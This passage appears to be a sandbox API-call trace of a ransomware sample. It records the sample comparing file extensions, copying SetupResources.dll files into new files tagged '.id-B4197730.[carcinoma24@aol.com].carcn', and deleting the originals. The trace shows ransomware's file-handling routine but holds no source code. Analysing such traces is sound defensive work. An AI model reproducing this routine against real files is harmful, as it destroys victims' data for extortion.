45 [0159.136] lstrlenW (lpString=".doc") returned 4 [0159.136] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.136] lstrlenW (lpString=".docx") returned 5 [0159.136] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.136] lstrlenW (lpString=".pdf") returned 4 [0159.136] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.136] lstrlenW (lpString=".xls") returned 4 [0159.136] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.136] lstrlenW (lpString=".xlsx") returned 5 [0159.136] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.136] lstrlenW (lpString=".ppt") returned 4 [0159.136] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.136] lstrlenW (lpString=".zip") returned 4 [0159.136] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.136] lstrlenW (lpString=".rar") returned 4 [0159.136] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.137] lstrlenW (lpString=".bz2") returned 4 [0159.137] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.137] lstrlenW (lpString=".7z") returned 3 [0159.137] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.137] lstrlenW (lpString=".dbf") returned 4 [0159.137] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.137] lstrlenW (lpString=".1cd") returned 4 [0159.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.137] lstrlenW (lpString=".jpg") returned 4 [0159.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.137] lstrlenW (lpString=".doc") returned 4 [0159.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.137] lstrlenW (lpString=".docx") returned 5 [0159.137] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.137] lstrlenW (lpString=".pdf") returned 4 [0159.137] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.137] lstrlenW (lpString=".xls") returned 4 [0159.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.137] lstrlenW (lpString=".xlsx") returned 5 [0159.137] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.137] lstrlenW (lpString=".ppt") returned 4 [0159.137] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.137] lstrlenW (lpString=".zip") returned 4 [0159.137] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.138] lstrlenW (lpString=".rar") returned 4 [0159.138] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.138] lstrlenW (lpString=".bz2") returned 4 [0159.138] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.138] lstrlenW (lpString=".7z") returned 3 [0159.138] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.138] lstrlenW (lpString=".dbf") returned 4 [0159.138] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.138] lstrlenW (lpString=".1cd") returned 4 [0159.138] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.138] lstrlenW (lpString=".jpg") returned 4 [0159.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.138] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.138] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0159.138] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=17240) returned 1 [0159.138] CloseHandle (hObject=0x300) returned 1 [0159.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0159.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0159.139] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0159.139] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0159.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0159.179] GetLastError () returned 0x0 [0159.179] ReadFile (in: hFile=0x300, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x4358, lpOverlapped=0x0) returned 1 [0159.254] WriteFile (in: hFile=0x2e0, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x4360, lpOverlapped=0x0) returned 1 [0159.255] ReadFile (in: hFile=0x300, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0159.255] WriteFile (in: hFile=0x2e0, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.256] SetEndOfFile (hFile=0x2e0) returned 1 [0159.256] CloseHandle (hObject=0x2e0) returned 1 [0159.257] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0159.257] SetEndOfFile (hFile=0x300) returned 1 [0159.257] CloseHandle (hObject=0x300) returned 1 [0159.258] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.258] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0159.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.258] lstrlenW (lpString=".doc") returned 4 [0159.258] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.258] lstrlenW (lpString=".docx") returned 5 [0159.258] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.258] lstrlenW (lpString=".pdf") returned 4 [0159.258] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.258] lstrlenW (lpString=".xls") returned 4 [0159.258] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.258] lstrlenW (lpString=".xlsx") returned 5 [0159.258] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.258] lstrlenW (lpString=".ppt") returned 4 [0159.258] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.258] lstrlenW (lpString=".zip") returned 4 [0159.258] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.258] lstrlenW (lpString=".rar") returned 4 [0159.259] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.259] lstrlenW (lpString=".bz2") returned 4 [0159.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.259] lstrlenW (lpString=".7z") returned 3 [0159.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.259] lstrlenW (lpString=".dbf") returned 4 [0159.259] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.259] lstrlenW (lpString=".1cd") returned 4 [0159.259] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.259] lstrlenW (lpString=".jpg") returned 4 [0159.259] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.259] lstrlenW (lpString=".doc") returned 4 [0159.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.259] lstrlenW (lpString=".docx") returned 5 [0159.259] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.259] lstrlenW (lpString=".pdf") returned 4 [0159.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.259] lstrlenW (lpString=".xls") returned 4 [0159.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.260] lstrlenW (lpString=".xlsx") returned 5 [0159.260] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.260] lstrlenW (lpString=".ppt") returned 4 [0159.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.260] lstrlenW (lpString=".zip") returned 4 [0159.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.260] lstrlenW (lpString=".rar") returned 4 [0159.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.260] lstrlenW (lpString=".bz2") returned 4 [0159.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.260] lstrlenW (lpString=".7z") returned 3 [0159.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.260] lstrlenW (lpString=".dbf") returned 4 [0159.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.260] lstrlenW (lpString=".1cd") returned 4 [0159.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0159.260] lstrlenW (lpString=".jpg") returned 4 [0159.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.260] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.260] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.260] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0159.703] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=16728) returned 1 [0159.703] CloseHandle (hObject=0x310) returned 1 [0159.703] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0159.703] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0159.704] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0159.704] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0159.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0160.105] GetLastError () returned 0x0 [0160.105] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x4158, lpOverlapped=0x0) returned 1 [0160.249] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x4160, lpOverlapped=0x0) returned 1 [0160.251] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0160.251] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0160.251] SetEndOfFile (hFile=0x308) returned 1 [0160.251] CloseHandle (hObject=0x308) returned 1 [0160.252] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0160.252] SetEndOfFile (hFile=0x310) returned 1 [0160.253] CloseHandle (hObject=0x310) returned 1 [0160.253] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.253] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0160.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.253] lstrlenW (lpString=".doc") returned 4 [0160.253] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.253] lstrlenW (lpString=".docx") returned 5 [0160.253] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.253] lstrlenW (lpString=".pdf") returned 4 [0160.253] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString=".xls") returned 4 [0160.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString=".xlsx") returned 5 [0160.254] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.254] lstrlenW (lpString=".ppt") returned 4 [0160.254] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.254] lstrlenW (lpString=".zip") returned 4 [0160.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString=".rar") returned 4 [0160.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString=".bz2") returned 4 [0160.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.254] lstrlenW (lpString=".7z") returned 3 [0160.254] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.254] lstrlenW (lpString=".dbf") returned 4 [0160.254] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.254] lstrlenW (lpString=".1cd") returned 4 [0160.254] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.254] lstrlenW (lpString=".jpg") returned 4 [0160.254] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.254] lstrlenW (lpString=".doc") returned 4 [0160.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.254] lstrlenW (lpString=".docx") returned 5 [0160.254] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.254] lstrlenW (lpString=".pdf") returned 4 [0160.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.255] lstrlenW (lpString=".xls") returned 4 [0160.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.255] lstrlenW (lpString=".xlsx") returned 5 [0160.255] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.255] lstrlenW (lpString=".ppt") returned 4 [0160.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.255] lstrlenW (lpString=".zip") returned 4 [0160.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.255] lstrlenW (lpString=".rar") returned 4 [0160.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.255] lstrlenW (lpString=".bz2") returned 4 [0160.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.255] lstrlenW (lpString=".7z") returned 3 [0160.255] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.255] lstrlenW (lpString=".dbf") returned 4 [0160.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.255] lstrlenW (lpString=".1cd") returned 4 [0160.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0160.255] lstrlenW (lpString=".jpg") returned 4 [0160.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.255] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0160.255] lstrlenW (lpString="SetupResources.dll") returned 18 [0160.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0160.602] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=17752) returned 1 [0160.602] CloseHandle (hObject=0x308) returned 1 [0160.602] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0160.602] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.602] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0160.603] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0160.603] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0160.603] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.653] GetLastError () returned 0x0 [0160.653] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x4558, lpOverlapped=0x0) returned 1 [0160.885] WriteFile (in: hFile=0x360, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x4560, lpOverlapped=0x0) returned 1 [0160.886] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0160.886] WriteFile (in: hFile=0x360, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0160.886] SetEndOfFile (hFile=0x360) returned 1 [0160.886] CloseHandle (hObject=0x360) returned 1 [0160.887] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0160.887] SetEndOfFile (hFile=0x308) returned 1 [0160.888] CloseHandle (hObject=0x308) returned 1 [0160.888] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.888] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0160.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.889] lstrlenW (lpString=".doc") returned 4 [0160.889] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.889] lstrlenW (lpString=".docx") returned 5 [0160.889] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.889] lstrlenW (lpString=".pdf") returned 4 [0160.889] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.889] lstrlenW (lpString=".xls") returned 4 [0160.889] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.889] lstrlenW (lpString=".xlsx") returned 5 [0160.889] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.889] lstrlenW (lpString=".ppt") returned 4 [0160.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.889] lstrlenW (lpString=".zip") returned 4 [0160.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.889] lstrlenW (lpString=".rar") returned 4 [0160.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.889] lstrlenW (lpString=".bz2") returned 4 [0160.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.889] lstrlenW (lpString=".7z") returned 3 [0160.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.889] lstrlenW (lpString=".dbf") returned 4 [0160.889] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.889] lstrlenW (lpString=".1cd") returned 4 [0160.890] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.890] lstrlenW (lpString=".jpg") returned 4 [0160.890] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0160.890] lstrlenW (lpString=".doc") returned 4 [0160.890] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.890] lstrlenW (lpString=".docx") returned 5 [0160.890] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.890] lstrlenW (lpString=".pdf") returned 4 [0160.890] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.890] lstrlenW (lpString=".xls") returned 4 [0160.890] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.890] lstrlenW (lpString=".xlsx") returned 5 [0160.890] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.890] lstrlenW (lpString=".ppt") returned 4 [0160.890] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 